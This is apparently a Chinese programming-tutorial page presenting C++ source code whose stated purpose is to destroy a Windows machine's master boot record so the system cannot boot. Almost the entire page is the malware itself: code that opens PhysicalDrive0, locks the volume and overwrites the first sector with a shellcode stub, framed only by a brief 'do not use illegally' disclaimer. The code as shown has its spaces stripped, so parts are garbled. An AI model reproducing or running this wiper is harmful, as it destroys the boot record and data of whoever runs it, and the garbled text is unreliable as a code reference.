C++破坏MBR的代码
本文实例讲述了C++破坏MBR的代码,该源码只有破坏作用,使系统无法进入。仅供大家参考借鉴之用。请勿用于非法目的。
源码来源于网上。具体代码如下:
#include<Windows.h>
#include<stdio.h>
//shellcode随便写了点能破坏MBR,无法进入系统
unsignedchar scode[]=
"\xb8\x12\x00"
"\xcd\x10\xbd"
"\x18\x7c\xb9";
DWORDwriteMBR()
{
DWORDdwBytesReturned;
BYTEpMBR[512]={0};
//将破坏代码写入变量pMBR
memcpy(pMBR,scode,sizeof(scode));
pMBR[510]=0x55;
pMBR[511]=0xaa;
//打开物理磁盘
HANDLEhDevice=CreateFile("\\\\.\\PhysicalDrive0",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
if(hDevice==INVALID_HANDLE_VALUE)
{
printf("createfilefailed...");
return-1;
}
//锁定卷,使用FSCTL_LOCK_VOLUME时,以下有几个参数设为NULL,0;
/*Parameters
hDevice
Ahandletothevolumetobelocked.Toretrieveadevicehandle,calltheCreateFilefunction.
dwIoControlCode
Thecontrolcodefortheoperation.UseFSCTL_LOCK_VOLUMEforthisoperation.
lpInBuffer
Notusedwiththisoperation;settoNULL.
nInBufferSize
Notusedwiththisoperation;settozero.
lpOutBuffer
Notusedwiththisoperation;settoNULL.
nOutBufferSize
Notusedwiththisoperation;settozero.
lpBytesReturned
Apointertoavariablethatreceivesthesizeofthedatastoredintheoutputbuffer,inbytes.*/
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&dwBytesReturned,NULL);
//写入磁盘文件
WriteFile(hDevice,pMBR,512,&dwBytesReturned,NULL);
DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&dwBytesReturned,NULL);
return0;
}
intmain(intargc,char*argv[])
{
writeMBR();
return0;
}
希望本文所述对大家的C++程序设计有所帮助。